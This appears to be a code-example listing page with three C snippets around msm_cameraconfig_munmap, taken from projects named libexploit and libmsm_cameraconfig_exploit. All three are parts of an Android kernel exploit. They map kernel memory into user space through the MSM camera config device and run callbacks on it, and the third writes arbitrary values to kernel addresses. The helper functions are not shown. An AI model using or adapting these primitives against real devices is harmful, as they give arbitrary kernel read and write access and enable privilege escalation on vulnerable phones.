C++ (Cpp) msm_cameraconfig_munmap Examples

Example #1

File: exploit.c Project: bincker/libexploit

static bool
attempt_mmap_msm_cameraconfig_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
  unsigned long int offset;
  int fd_video, fd_config;
  void *address;
  bool result;

  offset = get_kernel_physical_offset();
  if (offset) {
    msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000);
  }

  address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (address == MAP_FAILED) {
    return false;
  }

  result = callback_func(msm_cameraconfig_convert_to_mmaped_address((void *)PAGE_OFFSET, address),
                         KERNEL_SIZE,
                         callback_param);

  msm_cameraconfig_munmap(address, fd_video, fd_config);

  return result;
}

Example #2

File: msm_cameraconfig.c Project: fi01/libmsm_cameraconfig_exploit

bool
msm_cameraconfig_run_exploit(bool(*exploit_callback)(void *mmap_base_address, void *user_data),
                   void *user_data)
{
  void *mapped_address = NULL;
  int fd_video;
  int fd_config;
  bool success;

  mapped_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (mapped_address == MAP_FAILED) {
    return false;
  }

  success = exploit_callback(mapped_address, user_data);

  msm_cameraconfig_munmap(mapped_address, fd_video, fd_config);

  return success;
}

Example #3

File: msm_cameraconfig.c Project: fi01/libmsm_cameraconfig_exploit

bool
msm_cameraconfig_write_value_at_address(unsigned long int address, int value)
{
  void *mmap_address = NULL;
  int *write_address;
  int fd_video;
  int fd_config;

  mmap_address = msm_cameraconfig_mmap(&fd_video, &fd_config);
  if (mmap_address == MAP_FAILED) {
    return false;
  }

  write_address = msm_cameraconfig_convert_to_mmaped_address((void*)address, mmap_address);
  *write_address = value;

  msm_cameraconfig_munmap(mmap_address, fd_video, fd_config);

  return true;
}